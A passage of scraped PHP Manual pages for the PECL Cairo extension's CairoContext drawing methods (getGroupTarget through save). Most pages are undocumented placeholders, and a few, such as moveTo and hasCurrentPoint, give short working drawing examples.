This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::getFontMatrix
CairoContext::getGroupTarget
CairoContext


The getGroupTarget purpose

CairoContext::getFontOptions
CairoContext::getLineCap
CairoContext
PHP Manual

CairoContext::getGroupTarget

cairo_get_group_target

(PECL cairo >= 0.1.0)

CairoContext::getGroupTarget -- cairo_get_group_target — The getGroupTarget purpose

Description

Object oriented style (method):

public void CairoContext::getGroupTarget ( void )

Procedural style:

void cairo_get_group_target ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::getFontOptions
CairoContext::getLineCap
CairoContext


The getLineCap purpose

CairoContext::getGroupTarget
CairoContext::getLineJoin
CairoContext
PHP Manual

CairoContext::getLineCap

cairo_get_line_cap

(PECL cairo >= 0.1.0)

CairoContext::getLineCap -- cairo_get_line_cap — The getLineCap purpose

Description

Object oriented style (method):

public int CairoContext::getLineCap ( void )

Procedural style:

int cairo_get_line_cap ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::getGroupTarget
CairoContext::getLineJoin
CairoContext


The getLineJoin purpose

CairoContext::getLineCap
CairoContext::getLineWidth
CairoContext
PHP Manual

CairoContext::getLineJoin

cairo_get_line_join

(PECL cairo >= 0.1.0)

CairoContext::getLineJoin -- cairo_get_line_join — The getLineJoin purpose

Description

Object oriented style (method):

public int CairoContext::getLineJoin ( void )

Procedural style:

int cairo_get_line_join ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::getLineCap
CairoContext::getLineWidth
CairoContext


The getLineWidth purpose

CairoContext::getLineJoin
CairoContext::getMatrix
CairoContext
PHP Manual

CairoContext::getLineWidth

cairo_get_line_width

(PECL cairo >= 0.1.0)

CairoContext::getLineWidth -- cairo_get_line_width — The getLineWidth purpose

Description

Object oriented style (method):

public float CairoContext::getLineWidth ( void )

Procedural style:

float cairo_get_line_width ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::getLineJoin
CairoContext::getMatrix
CairoContext


The getMatrix purpose

CairoContext::getLineWidth
CairoContext::getMiterLimit
CairoContext
PHP Manual

CairoContext::getMatrix

cairo_get_matrix

(PECL cairo >= 0.1.0)

CairoContext::getMatrix -- cairo_get_matrix — The getMatrix purpose

Description

Object oriented style (method):

public void CairoContext::getMatrix ( void )

Procedural style:

void cairo_get_matrix ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::getLineWidth
CairoContext::getMiterLimit
CairoContext


The getMiterLimit purpose

CairoContext::getMatrix
CairoContext::getOperator
CairoContext
PHP Manual

CairoContext::getMiterLimit

cairo_get_miter_limit

(PECL cairo >= 0.1.0)

CairoContext::getMiterLimit -- cairo_get_miter_limit — The getMiterLimit purpose

Description

Object oriented style (method):

public float CairoContext::getMiterLimit ( void )

Procedural style:

float cairo_get_miter_limit ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::getMatrix
CairoContext::getOperator
CairoContext


The getOperator purpose

CairoContext::getMiterLimit
CairoContext::getScaledFont
CairoContext
PHP Manual

CairoContext::getOperator

cairo_get_operator

(PECL cairo >= 0.1.0)

CairoContext::getOperator -- cairo_get_operator — The getOperator purpose

Description

Object oriented style (method):

public int CairoContext::getOperator ( void )

Procedural style:

int cairo_get_operator ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::getMiterLimit
CairoContext::getScaledFont
CairoContext


The getScaledFont purpose

CairoContext::getOperator
CairoContext::getSource
CairoContext
PHP Manual

CairoContext::getScaledFont

cairo_get_scaled_font

(PECL cairo >= 0.1.0)

CairoContext::getScaledFont -- cairo_get_scaled_font — The getScaledFont purpose

Description

Object oriented style (method):

public void CairoContext::getScaledFont ( void )

Procedural style:

void cairo_get_scaled_font ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::getOperator
CairoContext::getSource
CairoContext


The getSource purpose

CairoContext::getScaledFont
CairoContext::getTarget
CairoContext
PHP Manual

CairoContext::getSource

cairo_get_source

(PECL cairo >= 0.1.0)

CairoContext::getSource -- cairo_get_source — The getSource purpose

Description

Object oriented style (method):

public void CairoContext::getSource ( void )

Procedural style:

void cairo_get_source ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::getScaledFont
CairoContext::getTarget
CairoContext


The getTarget purpose

CairoContext::getSource
CairoContext::getTolerance
CairoContext
PHP Manual

CairoContext::getTarget

cairo_get_target

(PECL cairo >= 0.1.0)

CairoContext::getTarget -- cairo_get_target — The getTarget purpose

Description

Object oriented style (method):

public void CairoContext::getTarget ( void )

Procedural style:

void cairo_get_target ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::getSource
CairoContext::getTolerance
CairoContext


The getTolerance purpose

CairoContext::getTarget
CairoContext::glyphPath
CairoContext
PHP Manual

CairoContext::getTolerance

cairo_get_tolerance

(PECL cairo >= 0.1.0)

CairoContext::getTolerance -- cairo_get_tolerance — The getTolerance purpose

Description

Object oriented style (method):

public float CairoContext::getTolerance ( void )

Procedural style:

float cairo_get_tolerance ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::getTarget
CairoContext::glyphPath
CairoContext


The glyphPath purpose

CairoContext::getTolerance
CairoContext::hasCurrentPoint
CairoContext
PHP Manual

CairoContext::glyphPath

cairo_glyph_path

(PECL cairo >= 0.1.0)

CairoContext::glyphPath -- cairo_glyph_path — The glyphPath purpose

Description

Object oriented style

public void CairoContext::glyphPath ( array $glyphs )

Procedural style

void cairo_glyph_path ( CairoContext $context , array $glyphs )

Adds closed paths for the glyphs to the current path. The generated path if filled, achieves an effect similar to that of CairoContext::showGlyphs().

Parameters

context

A CairoContext object

glyphs

Array of glyphs

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::getTolerance
CairoContext::hasCurrentPoint
CairoContext


The hasCurrentPoint purpose

CairoContext::glyphPath
CairoContext::identityMatrix
CairoContext
PHP Manual

CairoContext::hasCurrentPoint

cairo_has_current_point

(PECL cairo >= 0.1.0)

CairoContext::hasCurrentPoint -- cairo_has_current_point — The hasCurrentPoint purpose

Description

Object oriented style (method):

public bool CairoContext::hasCurrentPoint ( void )

Procedural style:

bool cairo_has_current_point ( CairoContext $context )

Returns whether a current point is defined on the current path. See CairoContext::getCurrentPoint() for details on the current point.

Parameters

context

A valid CairoContext object.

Return Values

Whether a current point is defined

Examples

Example #1 Object oriented style

<?php

$s = new CairoImageSurface(CairoFormat::ARGB32, 100, 100);
$c = new CairoContext($s);

var_dump($c->hasCurrentPoint());

$c->moveTo(10, 10);

var_dump($c->hasCurrentPoint());

?>

The above example will output:

bool(false)
bool(true)

Example #2 Procedural style

<?php

$s = cairo_image_surface_create(CAIRO_SURFACE_TYPE_IMAGE, 100, 100);
$c = cairo_create($s);

var_dump(cairo_has_current_point($c));

cairo_move_to($c, 10, 10);

var_dump(cairo_has_current_point($c));

?>

The above example will output:

bool(false)
bool(true)

See Also

  • CairoContext::getCurrentPoint() - The getCurrentPoint purpose

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::glyphPath
CairoContext::identityMatrix
CairoContext


The identityMatrix purpose

CairoContext::hasCurrentPoint
CairoContext::inFill
CairoContext
PHP Manual

CairoContext::identityMatrix

cairo_identity_matrix

(PECL cairo >= 0.1.0)

CairoContext::identityMatrix -- cairo_identity_matrix — The identityMatrix purpose

Description

Object oriented style (method):

public void CairoContext::identityMatrix ( void )

Procedural style:

void cairo_identity_matrix ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::hasCurrentPoint
CairoContext::inFill
CairoContext


The inFill purpose

CairoContext::identityMatrix
CairoContext::inStroke
CairoContext
PHP Manual

CairoContext::inFill

cairo_in_fill

(PECL cairo >= 0.1.0)

CairoContext::inFill -- cairo_in_fill — The inFill purpose

Description

Object oriented style (method):

public bool CairoContext::inFill ( string $x , string $y )

Procedural style:

bool cairo_in_fill ( CairoContext $context , string $x , string $y )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

x

Description...

y

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::identityMatrix
CairoContext::inStroke
CairoContext


The inStroke purpose

CairoContext::inFill
CairoContext::lineTo
CairoContext
PHP Manual

CairoContext::inStroke

cairo_in_stroke

(PECL cairo >= 0.1.0)

CairoContext::inStroke -- cairo_in_stroke — The inStroke purpose

Description

Object oriented style (method):

public bool CairoContext::inStroke ( string $x , string $y )

Procedural style:

bool cairo_in_stroke ( CairoContext $context , string $x , string $y )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

x

Description...

y

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::inFill
CairoContext::lineTo
CairoContext


The lineTo purpose

CairoContext::inStroke
CairoContext::mask
CairoContext
PHP Manual

CairoContext::lineTo

cairo_line_to

(PECL cairo >= 0.1.0)

CairoContext::lineTo -- cairo_line_to — The lineTo purpose

Description

Object oriented style (method):

public void CairoContext::lineTo ( string $x , string $y )

Procedural style:

void cairo_line_to ( CairoContext $context , string $x , string $y )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

x

Description...

y

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::inStroke
CairoContext::mask
CairoContext


The mask purpose

CairoContext::lineTo
CairoContext::maskSurface
CairoContext
PHP Manual

CairoContext::mask

cairo_mask

(PECL cairo >= 0.1.0)

CairoContext::mask -- cairo_mask — The mask purpose

Description

Object oriented style (method):

public void CairoContext::mask ( string $pattern )

Procedural style:

void cairo_mask ( CairoContext $context , CairoPattern $pattern )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

pattern

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::lineTo
CairoContext::maskSurface
CairoContext


The maskSurface purpose

CairoContext::mask
CairoContext::moveTo
CairoContext
PHP Manual

CairoContext::maskSurface

cairo_mask_surface

(PECL cairo >= 0.1.0)

CairoContext::maskSurface -- cairo_mask_surface — The maskSurface purpose

Description

Object oriented style (method):

public void CairoContext::maskSurface ( string $surface [, string $x [, string $y ]] )

Procedural style:

void cairo_mask_surface ( CairoContext $context , CairoSurface $surface [, string $x [, string $y ]] )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

surface

Description...

x

Description...

y

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::mask
CairoContext::moveTo
CairoContext


The moveTo purpose

CairoContext::maskSurface
CairoContext::newPath
CairoContext
PHP Manual

CairoContext::moveTo

cairo_move_to

(PECL cairo >= 0.1.0)

CairoContext::moveTo -- cairo_move_to — The moveTo purpose

Description

Object oriented style (method):

public void CairoContext::moveTo ( string $x , string $y )

Procedural style:

void cairo_move_to ( CairoContext $context , string $x , string $y )

Begin a new sub-path. After this call the current point will be (x, y).

Parameters

context

A valid CairoContext object.

x

The x coordinate of the new position.

y

The y coordinate of the new position

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php

$s = new CairoImageSurface(CairoFormat::ARGB32, 100, 100);
$c = new CairoContext($s);

$c->setSourceRgb(0, 0, 0);
$c->paint();

// Move 10 pixels across, and 10 pixels down
$c->moveTo(10, 10);
$c->lineTo(90, 90);
$c->setLineWidth(2);
$c->setSourceRgb(1, 1, 1);
$c->stroke();

// Move 90 pixels across, and 10 pixels down
$c->moveTo(90, 10);
$c->lineTo(10, 90);
$c->setLineWidth(2);
$c->setSourceRgb(1, 1, 1);
$c->stroke();

$s->writeToPng(dirname(__FILE__) . '/CairoContext_moveTo.png');
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php

$s = cairo_image_surface_create(CAIRO_SURFACE_TYPE_IMAGE, 100, 100);
$c = cairo_create($s);

cairo_set_source_rgb($c, 0, 0, 0);
cairo_paint($c);

// Move 10 pixels across, and 10 pixels down
cairo_move_to($c, 10, 10);
cairo_line_to($c, 90, 90);
cairo_set_line_width($c, 2);
cairo_set_source_rgb($c, 1, 1, 1);
cairo_stroke($c);

// Move 90 pixels across, and 10 pixels down
cairo_move_to($c, 90, 10);
cairo_line_to($c, 10, 90);
cairo_set_line_width($c, 2);
cairo_set_source_rgb($c, 1, 1, 1);
cairo_stroke($c);

cairo_surface_write_to_png($s, dirname(__FILE__) . '/cairo_move_to.png');
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::maskSurface
CairoContext::newPath
CairoContext


The newPath purpose

CairoContext::moveTo
CairoContext::newSubPath
CairoContext
PHP Manual

CairoContext::newPath

cairo_new_path

(PECL cairo >= 0.1.0)

CairoContext::newPath -- cairo_new_path — The newPath purpose

Description

Object oriented style (method):

public void CairoContext::newPath ( void )

Procedural style:

void cairo_new_path ( CairoContext $context )

Clears the current path. After this call there will be no path and no current point.

Parameters

context

A valid CairoContext object.

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php
// [...]
CairoContext::newPath();
?>

Example #2 Procedural style

<?php
// [...]
cairo_new_path($context);
?>

See Also

  • CairoContext::appendPath() - Appends a path to current path
  • CairoContext::closePath() - Closes the current path

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::moveTo
CairoContext::newSubPath
CairoContext


The newSubPath purpose

CairoContext::newPath
CairoContext::paint
CairoContext
PHP Manual

CairoContext::newSubPath

cairo_new_sub_path

(PECL cairo >= 0.1.0)

CairoContext::newSubPath -- cairo_new_sub_path — The newSubPath purpose

Description

Object oriented style (method):

public void CairoContext::newSubPath ( void )

Procedural style:

void cairo_new_sub_path ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::newPath
CairoContext::paint
CairoContext


The paint purpose

CairoContext::newSubPath
CairoContext::paintWithAlpha
CairoContext
PHP Manual

CairoContext::paint

cairo_paint

(PECL cairo >= 0.1.0)

CairoContext::paint -- cairo_paint — The paint purpose

Description

Object oriented style (method):

public void CairoContext::paint ( void )

Procedural style:

void cairo_paint ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::newSubPath
CairoContext::paintWithAlpha
CairoContext


The paintWithAlpha purpose

CairoContext::paint
CairoContext::pathExtents
CairoContext
PHP Manual

CairoContext::paintWithAlpha

cairo_paint_with_alpha

(PECL cairo >= 0.1.0)

CairoContext::paintWithAlpha -- cairo_paint_with_alpha — The paintWithAlpha purpose

Description

Object oriented style (method):

public void CairoContext::paintWithAlpha ( string $alpha )

Procedural style:

void cairo_paint_with_alpha ( CairoContext $context , string $alpha )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

alpha

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::paint
CairoContext::pathExtents
CairoContext


The pathExtents purpose

CairoContext::paintWithAlpha
CairoContext::popGroup
CairoContext
PHP Manual

CairoContext::pathExtents

cairo_path_extents

(PECL cairo >= 0.1.0)

CairoContext::pathExtents -- cairo_path_extents — The pathExtents purpose

Description

Object oriented style (method):

public array CairoContext::pathExtents ( void )

Procedural style:

array cairo_path_extents ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::paintWithAlpha
CairoContext::popGroup
CairoContext


The popGroup purpose

CairoContext::pathExtents
CairoContext::popGroupToSource
CairoContext
PHP Manual

CairoContext::popGroup

cairo_pop_group

(PECL cairo >= 0.1.0)

CairoContext::popGroup -- cairo_pop_group — The popGroup purpose

Description

Object oriented style (method):

public void CairoContext::popGroup ( void )

Procedural style:

void cairo_pop_group ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::pathExtents
CairoContext::popGroupToSource
CairoContext


The popGroupToSource purpose

CairoContext::popGroup
CairoContext::pushGroup
CairoContext
PHP Manual

CairoContext::popGroupToSource

cairo_pop_group_to_source

(PECL cairo >= 0.1.0)

CairoContext::popGroupToSource -- cairo_pop_group_to_source — The popGroupToSource purpose

Description

Object oriented style (method):

public void CairoContext::popGroupToSource ( void )

Procedural style:

void cairo_pop_group_to_source ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::popGroup
CairoContext::pushGroup
CairoContext


The pushGroup purpose

CairoContext::popGroupToSource
CairoContext::pushGroupWithContent
CairoContext
PHP Manual

CairoContext::pushGroup

cairo_push_group

(PECL cairo >= 0.1.0)

CairoContext::pushGroup -- cairo_push_group — The pushGroup purpose

Description

Object oriented style (method):

public void CairoContext::pushGroup ( void )

Procedural style:

void cairo_push_group ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::popGroupToSource
CairoContext::pushGroupWithContent
CairoContext


The pushGroupWithContent purpose

CairoContext::pushGroup
CairoContext::rectangle
CairoContext
PHP Manual

CairoContext::pushGroupWithContent

cairo_push_group_with_content

(PECL cairo >= 0.1.0)

CairoContext::pushGroupWithContent -- cairo_push_group_with_content — The pushGroupWithContent purpose

Description

Object oriented style (method):

public void CairoContext::pushGroupWithContent ( string $content )

Procedural style:

void cairo_push_group_with_content ( CairoContext $context , string $content )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

content

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::pushGroup
CairoContext::rectangle
CairoContext


The rectangle purpose

CairoContext::pushGroupWithContent
CairoContext::relCurveTo
CairoContext
PHP Manual

CairoContext::rectangle

cairo_rectangle

(PECL cairo >= 0.1.0)

CairoContext::rectangle -- cairo_rectangle — The rectangle purpose

Description

Object oriented style (method):

public void CairoContext::rectangle ( string $x , string $y , string $width , string $height )

Procedural style:

void cairo_rectangle ( CairoContext $context , string $x , string $y , string $width , string $height )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

x

Description...

y

Description...

width

Description...

height

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::pushGroupWithContent
CairoContext::relCurveTo
CairoContext


The relCurveTo purpose

CairoContext::rectangle
CairoContext::relLineTo
CairoContext
PHP Manual

CairoContext::relCurveTo

cairo_rel_curve_to

(PECL cairo >= 0.1.0)

CairoContext::relCurveTo -- cairo_rel_curve_to — The relCurveTo purpose

Description

Object oriented style (method):

public void CairoContext::relCurveTo ( string $x1 , string $y1 , string $x2 , string $y2 , string $x3 , string $y3 )

Procedural style:

void cairo_rel_curve_to ( CairoContext $context , string $x1 , string $y1 , string $x2 , string $y2 , string $x3 , string $y3 )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

x1

Description...

y1

Description...

x2

Description...

y2

Description...

x3

Description...

y3

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::rectangle
CairoContext::relLineTo
CairoContext


The relLineTo purpose

CairoContext::relCurveTo
CairoContext::relMoveTo
CairoContext
PHP Manual

CairoContext::relLineTo

cairo_rel_line_to

(PECL cairo >= 0.1.0)

CairoContext::relLineTo -- cairo_rel_line_to — The relLineTo purpose

Description

Object oriented style (method):

public void CairoContext::relLineTo ( string $x , string $y )

Procedural style:

void cairo_rel_line_to ( CairoContext $context , string $x , string $y )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

x

Description...

y

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::relCurveTo
CairoContext::relMoveTo
CairoContext


The relMoveTo purpose

CairoContext::relLineTo
CairoContext::resetClip
CairoContext
PHP Manual

CairoContext::relMoveTo

cairo_rel_move_to

(PECL cairo >= 0.1.0)

CairoContext::relMoveTo -- cairo_rel_move_to — The relMoveTo purpose

Description

Object oriented style (method):

public void CairoContext::relMoveTo ( string $x , string $y )

Procedural style:

void cairo_rel_move_to ( CairoContext $context , string $x , string $y )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

x

Description...

y

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::relLineTo
CairoContext::resetClip
CairoContext


The resetClip purpose

CairoContext::relMoveTo
CairoContext::restore
CairoContext
PHP Manual

CairoContext::resetClip

cairo_reset_clip

(PECL cairo >= 0.1.0)

CairoContext::resetClip -- cairo_reset_clip — The resetClip purpose

Description

Object oriented style (method):

public void CairoContext::resetClip ( void )

Procedural style:

void cairo_reset_clip ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::relMoveTo
CairoContext::restore
CairoContext


The restore purpose

CairoContext::resetClip
CairoContext::rotate
CairoContext
PHP Manual

CairoContext::restore

cairo_restore

(PECL cairo >= 0.1.0)

CairoContext::restore -- cairo_restore — The restore purpose

Description

Object oriented style (method):

public void CairoContext::restore ( void )

Procedural style:

void cairo_restore ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::resetClip
CairoContext::rotate
CairoContext


The rotate purpose

CairoContext::restore
CairoContext::save
CairoContext
PHP Manual

CairoContext::rotate

cairo_rotate

(PECL cairo >= 0.1.0)

CairoContext::rotate -- cairo_rotate — The rotate purpose

Description

Object oriented style (method):

public void CairoContext::rotate ( string $angle )

Procedural style:

void cairo_rotate ( CairoContext $context , string $angle )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

angle

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::restore
CairoContext::save
CairoContext


The save purpose

CairoContext::rotate
CairoContext::scale
CairoContext
PHP Manual

CairoContext::save

cairo_save

(PECL cairo >= 0.1.0)

CairoContext::save -- cairo_save — The save purpose

Description

